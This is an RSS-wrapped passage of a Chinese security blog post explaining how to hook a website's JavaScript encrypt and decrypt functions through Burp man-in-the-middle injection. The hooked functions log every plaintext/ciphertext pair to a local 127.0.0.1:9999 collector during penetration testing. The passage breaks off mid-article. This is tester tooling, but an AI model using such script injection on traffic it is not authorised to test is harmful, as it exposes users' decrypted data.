<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>漏洞推送</title>
    <link>https://wechat2rss.xlab.app/feed/e5a0a3d839536204e4bcec6ede59fe0cc11f6fc6.xml</link>
    <description>专注于安全漏洞、威胁情报发掘。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (漏洞推送)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5rcpX1zHSzDZXwKXwcHAFiaANiae0icV19exnFU74AqK7YA/0</url>
      <title>漏洞推送</title>
      <link>https://wechat2rss.xlab.app/feed/e5a0a3d839536204e4bcec6ede59fe0cc11f6fc6.xml</link>
    </image>
    <item>
      <title>基于JS_HOOK的web流量加解密方案</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485845&amp;idx=1&amp;sn=8df1edd9db05d80cba1ddf9b24f63396</link>
      <description>最近遇到一个web网站，流量是通过js的加密的，于是设计了一套较为通用的流量js hook配置burp的流量加</description>
      <content:encoded><![CDATA[<p>原创 <span>kkk mr</span> <span>2026-01-12 17:14</span> <span style="display: inline-block;">浙江</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=87326e78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxpicrEMKCtQpu9dmHyrsf9abK2eiaCFl4oA1SdxzO7KftIobJFbTgyNrg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-pm-slice="0 0 []"><span leaf="">最近遇到一个web网站，流量是通过js的加密的，于是设计了一套较为通用的流量js hook配置burp的流量加解密方案。</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">方案分为以下几个部分:</span></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">加密函数的参数和返回值记录</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">解密函数的的参数和返回值记录</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">生成请求的Rpc</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">解密响应的Rpc</span></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">优点: 不用管具体的加密算法的实现,找到函数即可</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">具体实现如下:</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">记录请求的密文和明文</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">假设现在网站源码如下:</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><code><span leaf=""><span class="code-snippet__meta">&lt;!DOCTYPE </span><span class="code-snippet__meta"><span class="code-snippet__keyword">html</span></span><span class="code-snippet__meta">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">lang</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;zh-CN&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">head</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">meta</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">charset</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;UTF-8&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">meta</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">name</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;viewport&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">content</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;width=device-width, initial-scale=1.0&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">title</span></span><span class="code-snippet__tag">&gt;</span>demo<span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">title</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">encrypt</span>(<span class="code-snippet__params">data</span>) {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__title">btoa</span>(<span class="code-snippet__built_in">unescape</span>(<span class="code-snippet__built_in">encodeURIComponent</span>(data))); </span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">decrypt</span>(<span class="code-snippet__params">data</span>) {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">decodeURIComponent</span>(<span class="code-snippet__built_in">escape</span>(<span class="code-snippet__title">atob</span>(data)));</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">async</span> <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">send</span>() {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> inputData = <span class="code-snippet__string">&#34;test&#34;</span>;</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">if</span> (!inputData) {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span>;</span></code><br/><code><span leaf="">            }</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> encryptedData = <span class="code-snippet__title">encrypt</span>(inputData);</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> payload = {</span></code><br/><code><span leaf="">                <span class="code-snippet__attr">message</span>: encryptedData,</span></code><br/><code><span leaf="">                <span class="code-snippet__attr">timestamp</span>: <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">Date</span>().<span class="code-snippet__title">getTime</span>()</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">const</span> response = <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">fetch</span>(<span class="code-snippet__string">&#39;<a href="https://httpbin.org/post" target="_blank">https://httpbin.org/post</a>&#39;</span>, {</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">method</span>: <span class="code-snippet__string">&#39;POST&#39;</span>,</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">headers</span>: {</span></code><br/><code><span leaf="">                        <span class="code-snippet__string">&#39;Content-Type&#39;</span>: <span class="code-snippet__string">&#39;application/json&#39;</span></span></code><br/><code><span leaf="">                    },</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">body</span>: <span class="code-snippet__title">JSON</span>.<span class="code-snippet__title">stringify</span>(payload)</span></code><br/><code><span leaf="">                });</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">if</span> (response.<span class="code-snippet__property">ok</span>) {</span></code><br/><code><span leaf="">                    <span class="code-snippet__keyword">const</span> result = <span class="code-snippet__keyword">await</span> response.<span class="code-snippet__title">json</span>();</span></code><br/><code><span leaf="">                    <span class="code-snippet__title">alert</span>(<span class="code-snippet__string">&#34;resonpse:&#34;</span>+ <span class="code-snippet__title">decrypt</span>(<span class="code-snippet__title">JSON</span>.<span class="code-snippet__title">parse</span>(result.<span class="code-snippet__property">data</span>).<span class="code-snippet__property">message</span>));</span></code><br/><code><span leaf="">                } <span class="code-snippet__keyword">else</span> {</span></code><br/><code><span leaf="">                    <span class="code-snippet__title">alert</span>(<span class="code-snippet__string">&#34;error: &#34;</span> + response.<span class="code-snippet__property">status</span>);</span></code><br/><code><span leaf="">                }</span></code><br/><code><span leaf="">            } <span class="code-snippet__keyword">catch</span> (error) {</span></code><br/><code><span leaf="">            }</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">head</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">button</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">type</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;button&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">onclick</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;send()&#34;</span></span><span class="code-snippet__tag">&gt;</span>send<span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">button</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">encrypt是加密函数，decrypt是解密函数</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">通过burp中间人注入hook代码,hook后代码为</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><code><span leaf=""><span class="code-snippet__meta">&lt;!DOCTYPE </span><span class="code-snippet__meta"><span class="code-snippet__keyword">html</span></span><span class="code-snippet__meta">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">lang</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;zh-CN&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">head</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">meta</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">charset</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;UTF-8&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">meta</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">name</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;viewport&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">content</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;width=device-width, initial-scale=1.0&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">title</span></span><span class="code-snippet__tag">&gt;</span>demo<span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">title</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">encrypt</span>(<span class="code-snippet__params">data</span>) {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__title">btoa</span>(<span class="code-snippet__built_in">unescape</span>(<span class="code-snippet__built_in">encodeURIComponent</span>(data)));</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">raw_encrypt</span> = encrypt;</span></code><br/><code><span leaf="">        encrypt = <span class="code-snippet__keyword">function</span> (<span class="code-snippet__params">x</span>) {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> <span class="code-snippet__variable">BASE_URL</span> = <span class="code-snippet__string">&#39;<a href="http://127.0.0.1:9999" target="_blank">http://127.0.0.1:9999</a>&#39;</span>;</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">async</span> <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">reportData</span>(<span class="code-snippet__params">plain, cipher</span>) {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">fetch</span>(<span class="code-snippet__string">`</span><span class="code-snippet__string"><span class="code-snippet__subst">${BASE_URL}</span></span><span class="code-snippet__string">/report`</span>, {</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">method</span>: <span class="code-snippet__string">&#39;POST&#39;</span>,</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">headers</span>: { <span class="code-snippet__string">&#39;Content-Type&#39;</span>: <span class="code-snippet__string">&#39;application/json&#39;</span> },</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">body</span>: <span class="code-snippet__title">JSON</span>.<span class="code-snippet__title">stringify</span>({ <span class="code-snippet__attr">plaintext</span>: plain, <span class="code-snippet__attr">ciphertext</span>: cipher })</span></code><br/><code><span leaf="">                });</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            plaintext = x;</span></code><br/><code><span leaf="">            ciphertext = <span class="code-snippet__variable">window</span>.<span class="code-snippet__title">raw_encrypt</span>(x);</span></code><br/><code><span leaf="">            <span class="code-snippet__title">reportData</span>(plaintext, ciphertext);</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">return</span> ciphertext</span></code><br/><code><span leaf="">        };</span></code><br/><code></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">decrypt</span>(<span class="code-snippet__params">data</span>) {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">decodeURIComponent</span>(<span class="code-snippet__built_in">escape</span>(<span class="code-snippet__title">atob</span>(data)));</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">raw_decrypt</span> = decrypt;</span></code><br/><code><span leaf="">        decrypt = <span class="code-snippet__keyword">function</span> (<span class="code-snippet__params">x</span>) {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> <span class="code-snippet__variable">BASE_URL</span> = <span class="code-snippet__string">&#39;<a href="http://127.0.0.1:9999" target="_blank">http://127.0.0.1:9999</a>&#39;</span>;</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">async</span> <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">reportData</span>(<span class="code-snippet__params">plain, cipher</span>) {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">fetch</span>(<span class="code-snippet__string">`</span><span class="code-snippet__string"><span class="code-snippet__subst">${BASE_URL}</span></span><span class="code-snippet__string">/report`</span>, {</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">method</span>: <span class="code-snippet__string">&#39;POST&#39;</span>,</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">headers</span>: { <span class="code-snippet__string">&#39;Content-Type&#39;</span>: <span class="code-snippet__string">&#39;application/json&#39;</span> },</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">body</span>: <span class="code-snippet__title">JSON</span>.<span class="code-snippet__title">stringify</span>({ <span class="code-snippet__attr">plaintext</span>: plain, <span class="code-snippet__attr">ciphertext</span>: cipher })</span></code><br/><code><span leaf="">                });</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            ciphertext = x;</span></code><br/><code><span leaf="">            plaintext = <span class="code-snippet__variable">window</span>.<span class="code-snippet__title">raw_decrypt</span>(x);</span></code><br/><code><span leaf="">            <span class="code-snippet__title">reportData</span>(plaintext, ciphertext);</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">return</span> plaintext</span></code><br/><code><span leaf="">        };</span></code><br/><code></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">async</span> <span class="code-snippet__keyword">function</span> <span class="code-snippet__title">send</span>() {</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> inputData = <span class="code-snippet__string">&#34;test&#34;</span>;</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">if</span> (!inputData) {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span>;</span></code><br/><code><span leaf="">            }</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> encryptedData = <span class="code-snippet__title">encrypt</span>(inputData);</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">const</span> formData = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">URLSearchParams</span>();</span></code><br/><code><span leaf="">            formData.<span class="code-snippet__title">append</span>(<span class="code-snippet__string">&#39;data&#39;</span>, encryptedData);</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">const</span> response = <span class="code-snippet__keyword">await</span> <span class="code-snippet__title">fetch</span>(<span class="code-snippet__string">&#39;<a href="https://httpbin.org/post" target="_blank">https://httpbin.org/post</a>&#39;</span>, {</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">method</span>: <span class="code-snippet__string">&#39;POST&#39;</span>,</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">headers</span>: {</span></code><br/><code><span leaf="">                        <span class="code-snippet__comment">// 必须指定 Content-Type</span></span></code><br/><code><span leaf="">                        <span class="code-snippet__string">&#39;Content-Type&#39;</span>: <span class="code-snippet__string">&#39;application/x-www-form-urlencoded&#39;</span></span></code><br/><code><span leaf="">                    },</span></code><br/><code><span leaf="">                    <span class="code-snippet__attr">body</span>: formData <span class="code-snippet__comment">// 直接传入 URLSearchParams 对象</span></span></code><br/><code><span leaf="">                });</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">if</span> (response.<span class="code-snippet__property">ok</span>) {</span></code><br/><code><span leaf="">                    <span class="code-snippet__keyword">const</span> result = <span class="code-snippet__keyword">await</span> response.<span class="code-snippet__title">json</span>();</span></code><br/><code><span leaf="">                    <span class="code-snippet__title">alert</span>(<span class="code-snippet__string">&#34;resonpse:&#34;</span> + <span class="code-snippet__title">decrypt</span>(<span class="code-snippet__title">JSON</span>.<span class="code-snippet__title">parse</span>(result.<span class="code-snippet__property">data</span>).<span class="code-snippet__property">message</span>));</span></code><br/><code><span leaf="">                } <span class="code-snippet__keyword">else</span> {</span></code><br/><code><span leaf="">                    <span class="code-snippet__title">alert</span>(<span class="code-snippet__string">&#34;error: &#34;</span> + response.<span class="code-snippet__property">status</span>);</span></code><br/><code><span leaf="">                }</span></code><br/><code><span leaf="">            } <span class="code-snippet__keyword">catch</span> (error) {</span></code><br/><code><span leaf="">            }</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">head</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">button</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">type</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;button&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">onclick</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;send()&#34;</span></span><span class="code-snippet__tag">&gt;</span>send<span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">button</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">这样就将我们将加解密都hook成我们的函数，并且在执行的时候会进行上报</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span 